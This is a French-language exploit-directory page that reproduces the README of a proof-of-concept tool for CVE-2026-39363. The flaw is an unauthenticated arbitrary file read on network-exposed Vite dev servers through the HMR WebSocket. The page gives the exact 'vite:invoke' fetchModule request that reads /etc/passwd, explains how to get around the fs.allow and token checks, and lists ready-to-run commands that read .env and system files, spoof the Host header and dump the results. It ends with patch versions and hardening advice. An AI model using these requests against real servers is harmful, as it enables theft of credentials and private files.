Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/sunynov/cve-2026-39363
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesTests d'Intrusion
GitHubsunynov/cve-2026-39363

CVE-2026-39363

Outil d'exploitation pratique et facile à utiliser pour CVE-2026-39363

Voir le dépôt
4il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39363 — PoC de lecture arbitraire de fichiers sur Vite Dev Server

PoC directement exécutable pour GHSA-p9ff-h696-f583. Il contourne la restriction server.fs.allow de la couche HTTP en appelant fetchModule via le WebSocket HMR sans authentification, ce qui permet de lire des fichiers arbitraires sur la machine où tourne le serveur de développement.

Périmètre concerné

VersionAffectéeCorrigée
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (branche VoidZero)<=0.1.150.1.16

Conditions d'exploitation :

  • le serveur de développement est exposé sur le réseau (configuration --host / server.host), et
  • le WebSocket HMR n'est pas désactivé (activé par défaut, peut être désactivé avec server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. CISA SSVC a signalé exploitation=poc, automatable=yes.

Principe

  1. Au niveau HTTP, toute lecture de fichier arbitraire est bloquée par server.fs.allow (/@fs/<chemin absolu> → 403).
  2. Mais la poignée de main du WebSocket HMR ne vérifie que :
    • l'en-tête Sec-WebSocket-Protocol: vite-hmr, et
    • le paramètre de requête ?token= uniquement lorsque l'en-tête Origin est présent (CWE-306 : un client non navigateur peut se connecter directement sans en-tête Origin).
  3. Une fois connecté, on envoie l'événement personnalisé vite:invoke pour appeler la méthode fetchModule enregistrée côté serveur, avec file://<chemin absolu>?raw. fetchModule passe directement par le pipeline de transformation des modules, contournant totalement le contrôle fs.allow, et renvoie le contenu du fichier comme export default "..." (CWE-200).

Structure du message de requête vite:invoke (identique en v6/v7/v8) :

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

Le serveur répond avec id devenu 1response, et data.data.result.code contient le contenu du fichier.

Utilisation

Nécessite uniquement la bibliothèque standard de Python 3, aucune dépendance tierce :

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

Paramètres :

ParamètreDescription
urlCible, ex. http://192.168.1.10:5173
filesChemins absolus à lire, au format POSIX ou Windows
--host-headerEn-tête Host falsifié (par défaut, celui de la cible). Par défaut, seules les adresses IP/localhost sont autorisées ; un nom de domaine personnalisé doit être configuré explicitement
--ws-pathChemin du WebSocket HMR, défaut / (à modifier si la cible a configuré server.hmr.path)
--timeoutDélai d'expiration par requête en secondes, défaut 10
-o/--output-dirEnregistre le contenu lu dans un répertoire

Journal de validation

Le PoC de ce dépôt a été testé avec succès dans les environnements suivants (lecture de secret.txt hors de la racine du serveur de développement ; le chemin HTTP @fs pour le même fichier renvoie 403) :

  • Vite 8.0.4 (vite --host 0.0.0.0, Windows)
  • Vite 6.4.1 (idem)
  • Comparaison du code source de Vite 7.3.1 confirmant que la structure des messages est identique à v6/v8

Étapes de reproduction (même chaîne que le PoC) :

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

Détection et durcissement

  • Mettez à jour vers 6.4.2 / 7.3.2 / 8.0.5.
  • Ne liez jamais le serveur de développement à une adresse publique (par défaut, il n'écoute que sur localhost).
  • Pour les builds de production, utilisez vite build + un hébergement statique ; ne lancez pas vite dev.
  • Si vous ne pouvez pas mettre à jour : désactivez HMR avec server.ws: false, ou ajoutez un proxy inverse qui n'autorise que l'accès local au port du serveur de développement.

Avis de non-responsabilité

À utiliser uniquement dans le cadre de tests d'intrusion autorisés, de reproduction de vulnérabilités et de recherche défensive. L'utilisateur est seul responsable des conséquences de l'utilisation de cet outil sur les systèmes d'autrui sans autorisation.

Télécharger l’outil